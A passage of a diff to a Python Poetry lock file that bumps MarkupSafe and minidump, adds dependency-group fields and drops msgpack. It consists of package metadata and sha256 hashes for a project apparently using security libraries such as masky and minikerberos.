hash = "sha256:a549b9c31bec33820e885335b451286e2969a2d9e24879f83fe904a5ce59d70a"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4f11aa001c540f62c6166c7726f71f7573b52c68c31f014c25cc7901deea0b52"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:7b2e5a267c855eea6b4283940daa6e88a285f5f2a67f2220203786dfa59b37e9"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:2d2d793e36e230fd32babe143b04cec8a8b3eb8a3122d2aceb4a371e6b09b8df"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:ce409136744f6521e39fd8e2a24c53fa18ad67aa5bc7c2cf83645cce5b5c4e50"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-win32.whl", hash = "sha256:4096e9de5c6fdf43fb4f04c26fb114f61ef0bf2e5604b6ee3019d51b69e8c371"}, - {file = "MarkupSafe-2.1.5-cp37-cp37m-win_amd64.whl", hash = "sha256:4275d846e41ecefa46e2015117a9f491e57a71ddd59bbead77e904dc02b1bed2"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:656f7526c69fac7f600bd1f400991cc282b417d17539a1b228617081106feb4a"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:97cafb1f3cbcd3fd2b6fbfb99ae11cdb14deea0736fc2b0952ee177f2b813a46"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1f3fbcb7ef1f16e48246f704ab79d79da8a46891e2da03f8783a5b6fa41a9532"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fa9db3f79de01457b03d4f01b34cf91bc0048eb2c3846ff26f66687c2f6d16ab"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ffee1f21e5ef0d712f9033568f8344d5da8cc2869dbd08d87c84656e6a2d2f68"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:5dedb4db619ba5a2787a94d877bc8ffc0566f92a01c0ef214865e54ecc9ee5e0"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:30b600cf0a7ac9234b2638fbc0fb6158ba5bdcdf46aeb631ead21248b9affbc4"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:8dd717634f5a044f860435c1d8c16a270ddf0ef8588d4887037c5028b859b0c3"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-win32.whl", hash = "sha256:daa4ee5a243f0f20d528d939d06670a298dd39b1ad5f8a72a4275124a7819eff"}, - {file = "MarkupSafe-2.1.5-cp38-cp38-win_amd64.whl", hash = "sha256:619bc166c4f2de5caa5a633b8b7326fbe98e0ccbfacabd87268a2b15ff73a029"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:7a68b554d356a91cce1236aa7682dc01df0edba8d043fd1ce607c49dd3c1edcf"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:db0b55e0f3cc0be60c1f19efdde9a637c32740486004f20d1cff53c3c0ece4d2"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e53af139f8579a6d5f7b76549125f0d94d7e630761a2111bc431fd820e163b8"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:17b950fccb810b3293638215058e432159d2b71005c74371d784862b7e4683f3"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c31f53cdae6ecfa91a77820e8b151dba54ab528ba65dfd235c80b086d68a465"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bff1b4290a66b490a2f4719358c0cdcd9bafb6b8f061e45c7a2460866bf50c2e"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:bc1667f8b83f48511b94671e0e441401371dfd0f0a795c7daa4a3cd1dde55bea"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5049256f536511ee3f7e1b3f87d1d1209d327e818e6ae1365e8653d7e3abb6a6"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-win32.whl", hash = "sha256:00e046b6dd71aa03a41079792f8473dc494d564611a8f89bbbd7cb93295ebdcf"}, - {file = "MarkupSafe-2.1.5-cp39-cp39-win_amd64.whl", hash = "sha256:fa173ec60341d6bb97a89f5ea19c85c5643c1e7dedebc22f5181eb73573142c5"}, - {file = "MarkupSafe-2.1.5.tar.gz", hash = "sha256:d283d37a890ba4c1ae73ffadf8046435c76e7bc2247bbb63c00bd1a709c6544b"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7e94c425039cde14257288fd61dcfb01963e658efbc0ff54f5306b06054700f8"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9e2d922824181480953426608b81967de705c3cef4d1af983af849d7bd619158"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38a9ef736c01fccdd6600705b09dc574584b89bea478200c5fbf112a6b0d5579"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbcb445fa71794da8f178f0f6d66789a28d7319071af7a496d4d507ed566270d"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57cb5a3cf367aeb1d316576250f65edec5bb3be939e9247ae594b4bcbc317dfb"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3809ede931876f5b2ec92eef964286840ed3540dadf803dd570c3b7e13141a3b"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e07c3764494e3776c602c1e78e298937c3315ccc9043ead7e685b7f2b8d47b3c"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b424c77b206d63d500bcb69fa55ed8d0e6a3774056bdc4839fc9298a7edca171"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-win32.whl", hash = "sha256:fcabf5ff6eea076f859677f5f0b6b5c1a51e70a376b0579e0eadef8db48c6b50"}, + {file = "MarkupSafe-3.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:6af100e168aa82a50e186c82875a5893c5597a0c1ccdb0d8b40240b1f28b969a"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9025b4018f3a1314059769c7bf15441064b2207cb3f065e6ea1e7359cb46db9d"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:93335ca3812df2f366e80509ae119189886b0f3c2b81325d39efdb84a1e2ae93"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2cb8438c3cbb25e220c2ab33bb226559e7afb3baec11c4f218ffa7308603c832"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a123e330ef0853c6e822384873bef7507557d8e4a082961e1defa947aa59ba84"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e084f686b92e5b83186b07e8a17fc09e38fff551f3602b249881fec658d3eca"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d8213e09c917a951de9d09ecee036d5c7d36cb6cb7dbaece4c71a60d79fb9798"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5b02fb34468b6aaa40dfc198d813a641e3a63b98c2b05a16b9f80b7ec314185e"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0bff5e0ae4ef2e1ae4fdf2dfd5b76c75e5c2fa4132d05fc1b0dabcd20c7e28c4"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-win32.whl", hash = "sha256:6c89876f41da747c8d3677a2b540fb32ef5715f97b66eeb0c6b66f5e3ef6f59d"}, + {file = "MarkupSafe-3.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:70a87b411535ccad5ef2f1df5136506a10775d267e197e4cf531ced10537bd6b"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30"}, + {file = "MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:15ab75ef81add55874e7ab7055e9c397312385bd9ced94920f2802310c930396"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f3818cb119498c0678015754eba762e0d61e5b52d34c8b13d770f0719f7b1d79"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cdb82a876c47801bb54a690c5ae105a46b392ac6099881cdfb9f6e95e4014c6a"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:cabc348d87e913db6ab4aa100f01b08f481097838bdddf7c7a84b7575b7309ca"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:444dcda765c8a838eaae23112db52f1efaf750daddb2d9ca300bcae1039adc5c"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-win32.whl", hash = "sha256:bcf3e58998965654fdaff38e58584d8937aa3096ab5354d493c77d1fdd66d7a1"}, + {file = "MarkupSafe-3.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:e6a2a455bd412959b57a172ce6328d2dd1f01cb2135efda2e4576e8a23fa3b0f"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:b5a6b3ada725cea8a5e634536b1b01c30bcdcd7f9c6fff4151548d5bf6b3a36c"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:a904af0a6162c73e3edcb969eeeb53a63ceeb5d8cf642fade7d39e7963a22ddb"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4aa4e5faecf353ed117801a068ebab7b7e09ffb6e1d5e412dc852e0da018126c"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c0ef13eaeee5b615fb07c9a7dadb38eac06a0608b41570d8ade51c56539e509d"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d16a81a06776313e817c951135cf7340a3e91e8c1ff2fac444cfd75fffa04afe"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:6381026f158fdb7c72a168278597a5e3a5222e83ea18f543112b2662a9b699c5"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:3d79d162e7be8f996986c064d1c7c817f6df3a77fe3d6859f6f9e7be4b8c213a"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:131a3c7689c85f5ad20f9f6fb1b866f402c445b220c19fe4308c0b147ccd2ad9"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-win32.whl", hash = "sha256:ba8062ed2cf21c07a9e295d5b8a2a5ce678b913b45fdf68c32d95d6c1291e0b6"}, + {file = "MarkupSafe-3.0.2-cp313-cp313t-win_amd64.whl", hash = "sha256:e444a31f8db13eb18ada366ab3cf45fd4b31e4db1236a4448f68778c1d1a5a2f"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:eaa0a10b7f72326f1372a713e73c3f739b524b3af41feb43e4921cb529f5929a"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:48032821bbdf20f5799ff537c7ac3d1fba0ba032cfc06194faffa8cda8b560ff"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a9d3f5f0901fdec14d8d2f66ef7d035f2157240a433441719ac9a3fba440b13"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:88b49a3b9ff31e19998750c38e030fc7bb937398b1f78cfa599aaef92d693144"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:cfad01eed2c2e0c01fd0ecd2ef42c492f7f93902e39a42fc9ee1692961443a29"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1225beacc926f536dc82e45f8a4d68502949dc67eea90eab715dea3a21c1b5f0"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3169b1eefae027567d1ce6ee7cae382c57fe26e82775f460f0b2778beaad66c0"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:eb7972a85c54febfb25b5c4b4f3af4dcc731994c7da0d8a0b4a6eb0640e1d178"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-win32.whl", hash = "sha256:8c4e8c3ce11e1f92f6536ff07154f9d49677ebaaafc32db9db4620bc11ed480f"}, + {file = "MarkupSafe-3.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:6e296a513ca3d94054c2c881cc913116e90fd030ad1c656b3869762b754f5f8a"}, + {file = "markupsafe-3.0.2.tar.gz", hash = "sha256:ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0"}, ] [[package]] @@ -1187,6 +1256,7 @@ version = "0.2.0" description = "Python library with CLI allowing to remotely dump domain user credentials via an ADCS" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "masky-0.2.0-py3-none-any.whl", hash = "sha256:04f29988e659bd265bf393c833ee473cfd16bf8a32ffdeaacfbefe8f466f53ab"}, {file = "masky-0.2.0.tar.gz", hash = "sha256:fc0a99086da54e1cf91bb5e9c809aa311ea1519f10a3b6faf6d8e0a47c471ec9"}, @@ -1205,6 +1275,7 @@ version = "0.7.0" description = "McCabe checker, plugin for flake8" optional = false python-versions = ">=3.6" +groups = ["dev"] files = [ {file = "mccabe-0.7.0-py2.py3-none-any.whl", hash = "sha256:6c2d30ab6be0e4a46919781807b4f0d834ebdd6c6e3dca0bda5a15f863427b6e"}, {file = "mccabe-0.7.0.tar.gz", hash = "sha256:348e0240c33b60bbdf4e523192ef919f28cb2c3d7d5c7794f74009290f236325"}, @@ -1216,6 +1287,7 @@ version = "0.1.2" description = "Markdown URL utilities" optional = false python-versions = ">=3.7" +groups = ["main"] files = [ {file = "mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8"}, {file = "mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba"}, @@ -1223,13 +1295,14 @@ files = [ [[package]] name = "minidump" -version = "0.0.23" +version = "0.0.24" description = "Python library to parse Windows minidump file format" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ - {file = "minidump-0.0.23-py3-none-any.whl", hash = "sha256:b64ba764ea6db03f90dcd91fa516794ee729f3555ec8735700bdbfb58e0f1181"}, - {file = "minidump-0.0.23.tar.gz", hash = "sha256:47eb736b90bfd9e8246a349c9a2969ffcaa8c284a495855f101f9fd0a30d06a4"}, + {file = "minidump-0.0.24-py3-none-any.whl", hash = "sha256:9c016e35c8fe37c82a01b0a266f5416a0b0138934d92affb436ac2e72372bec6"}, + {file = "minidump-0.0.24.tar.gz", hash = "sha256:f7ae09b944f3b17ccf5cecc66f9ff5a7a45b053474a13aeb012f4c9204470437"}, ] [[package]] @@ -1238,6 +1311,7 @@ version = "0.4.4" description = "Kerberos manipulation library in pure Python" optional = false python-versions = ">=3.6" +groups = ["main"] files = [ {file = "minikerberos-0.4.4-py3-none-any.whl", hash = "sha256:f51d4283cfd318e89242dd2b467b99dc8a99ddad4fcf099367afeb1e54b7cf93"}, {file = "minikerberos-0.4.4.tar.gz", hash = "sha256:1b07861c6c4038b66a3a755dcceb70d31bafb2b2ac681d607f5c59fd6b8547bc"}, @@ -1251,80 +1325,16 @@ six = "*" tqdm = "*" unicrypto = ">=0.0.10" -[[package]] -name = "msgpack" -version = "1.0.8" -description = "MessagePack serializer" -optional = false -python-versions = ">=3.8" -files = [ - {file = "msgpack-1.0.8-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:505fe3d03856ac7d215dbe005414bc28505d26f0c128906037e66d98c4e95868"}, - {file = "msgpack-1.0.8-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e6b7842518a63a9f17107eb176320960ec095a8ee3b4420b5f688e24bf50c53c"}, - {file = "msgpack-1.0.8-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:376081f471a2ef24828b83a641a02c575d6103a3ad7fd7dade5486cad10ea659"}, - {file = "msgpack-1.0.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e390971d082dba073c05dbd56322427d3280b7cc8b53484c9377adfbae67dc2"}, - {file = "msgpack-1.0.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00e073efcba9ea99db5acef3959efa45b52bc67b61b00823d2a1a6944bf45982"}, - {file = "msgpack-1.0.8-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:82d92c773fbc6942a7a8b520d22c11cfc8fd83bba86116bfcf962c2f5c2ecdaa"}, - {file = "msgpack-1.0.8-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9ee32dcb8e531adae1f1ca568822e9b3a738369b3b686d1477cbc643c4a9c128"}, - {file = "msgpack-1.0.8-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e3aa7e51d738e0ec0afbed661261513b38b3014754c9459508399baf14ae0c9d"}, - {file = "msgpack-1.0.8-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:69284049d07fce531c17404fcba2bb1df472bc2dcdac642ae71a2d079d950653"}, - {file = "msgpack-1.0.8-cp310-cp310-win32.whl", hash = "sha256:13577ec9e247f8741c84d06b9ece5f654920d8365a4b636ce0e44f15e07ec693"}, - {file = "msgpack-1.0.8-cp310-cp310-win_amd64.whl", hash = "sha256:e532dbd6ddfe13946de050d7474e3f5fb6ec774fbb1a188aaf469b08cf04189a"}, - {file = "msgpack-1.0.8-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9517004e21664f2b5a5fd6333b0731b9cf0817403a941b393d89a2f1dc2bd836"}, - {file = "msgpack-1.0.8-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d16a786905034e7e34098634b184a7d81f91d4c3d246edc6bd7aefb2fd8ea6ad"}, - {file = "msgpack-1.0.8-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e2872993e209f7ed04d963e4b4fbae72d034844ec66bc4ca403329db2074377b"}, - {file = "msgpack-1.0.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c330eace3dd100bdb54b5653b966de7f51c26ec4a7d4e87132d9b4f738220ba"}, - {file = "msgpack-1.0.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:83b5c044f3eff2a6534768ccfd50425939e7a8b5cf9a7261c385de1e20dcfc85"}, - {file = "msgpack-1.0.8-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1876b0b653a808fcd50123b953af170c535027bf1d053b59790eebb0aeb38950"}, - {file = "msgpack-1.0.8-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:dfe1f0f0ed5785c187144c46a292b8c34c1295c01da12e10ccddfc16def4448a"}, - {file = "msgpack-1.0.8-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:3528807cbbb7f315bb81959d5961855e7ba52aa60a3097151cb21956fbc7502b"}, - {file = "msgpack-1.0.8-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:e2f879ab92ce502a1e65fce390eab619774dda6a6ff719718069ac94084098ce"}, - {file = "msgpack-1.0.8-cp311-cp311-win32.whl", hash = "sha256:26ee97a8261e6e35885c2ecd2fd4a6d38252246f94a2aec23665a4e66d066305"}, - {file = "msgpack-1.0.8-cp311-cp311-win_amd64.whl", hash = "sha256:eadb9f826c138e6cf3c49d6f8de88225a3c0ab181a9b4ba792e006e5292d150e"}, - {file = "msgpack-1.0.8-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:114be227f5213ef8b215c22dde19532f5da9652e56e8ce969bf0a26d7c419fee"}, - {file = "msgpack-1.0.8-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:d661dc4785affa9d0edfdd1e59ec056a58b3dbb9f196fa43587f3ddac654ac7b"}, - {file = "msgpack-1.0.8-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d56fd9f1f1cdc8227d7b7918f55091349741904d9520c65f0139a9755952c9e8"}, - {file = "msgpack-1.0.8-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0726c282d188e204281ebd8de31724b7d749adebc086873a59efb8cf7ae27df3"}, - {file = "msgpack-1.0.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8db8e423192303ed77cff4dce3a4b88dbfaf43979d280181558af5e2c3c71afc"}, - {file = "msgpack-1.0.8-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99881222f4a8c2f641f25703963a5cefb076adffd959e0558dc9f803a52d6a58"}, - {file = "msgpack-1.0.8-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b5505774ea2a73a86ea176e8a9a4a7c8bf5d521050f0f6f8426afe798689243f"}, - {file = "msgpack-1.0.8-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:ef254a06bcea461e65ff0373d8a0dd1ed3aa004af48839f002a0c994a6f72d04"}, - {file = "msgpack-1.0.8-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e1dd7839443592d00e96db831eddb4111a2a81a46b028f0facd60a09ebbdd543"}, - {file = "msgpack-1.0.8-cp312-cp312-win32.whl", hash = "sha256:64d0fcd436c5683fdd7c907eeae5e2cbb5eb872fafbc03a43609d7941840995c"}, - {file = "msgpack-1.0.8-cp312-cp312-win_amd64.whl", hash = "sha256:74398a4cf19de42e1498368c36eed45d9528f5fd0155241e82c4082b7e16cffd"}, - {file = "msgpack-1.0.8-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:0ceea77719d45c839fd73abcb190b8390412a890df2f83fb8cf49b2a4b5c2f40"}, - {file = "msgpack-1.0.8-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1ab0bbcd4d1f7b6991ee7c753655b481c50084294218de69365f8f1970d4c151"}, - {file = "msgpack-1.0.8-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:1cce488457370ffd1f953846f82323cb6b2ad2190987cd4d70b2713e17268d24"}, - {file = "msgpack-1.0.8-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3923a1778f7e5ef31865893fdca12a8d7dc03a44b33e2a5f3295416314c09f5d"}, - {file = "msgpack-1.0.8-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a22e47578b30a3e199ab067a4d43d790249b3c0587d9a771921f86250c8435db"}, - {file = "msgpack-1.0.8-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bd739c9251d01e0279ce729e37b39d49a08c0420d3fee7f2a4968c0576678f77"}, - {file = "msgpack-1.0.8-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:d3420522057ebab1728b21ad473aa950026d07cb09da41103f8e597dfbfaeb13"}, - {file = "msgpack-1.0.8-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:5845fdf5e5d5b78a49b826fcdc0eb2e2aa7191980e3d2cfd2a30303a74f212e2"}, - {file = "msgpack-1.0.8-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6a0e76621f6e1f908ae52860bdcb58e1ca85231a9b0545e64509c931dd34275a"}, - {file = "msgpack-1.0.8-cp38-cp38-win32.whl", hash = "sha256:374a8e88ddab84b9ada695d255679fb99c53513c0a51778796fcf0944d6c789c"}, - {file = "msgpack-1.0.8-cp38-cp38-win_amd64.whl", hash = "sha256:f3709997b228685fe53e8c433e2df9f0cdb5f4542bd5114ed17ac3c0129b0480"}, - {file = "msgpack-1.0.8-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:f51bab98d52739c50c56658cc303f190785f9a2cd97b823357e7aeae54c8f68a"}, - {file = "msgpack-1.0.8-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:73ee792784d48aa338bba28063e19a27e8d989344f34aad14ea6e1b9bd83f596"}, - {file = "msgpack-1.0.8-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f9904e24646570539a8950400602d66d2b2c492b9010ea7e965025cb71d0c86d"}, - {file = "msgpack-1.0.8-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e75753aeda0ddc4c28dce4c32ba2f6ec30b1b02f6c0b14e547841ba5b24f753f"}, - {file = "msgpack-1.0.8-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5dbf059fb4b7c240c873c1245ee112505be27497e90f7c6591261c7d3c3a8228"}, - {file = 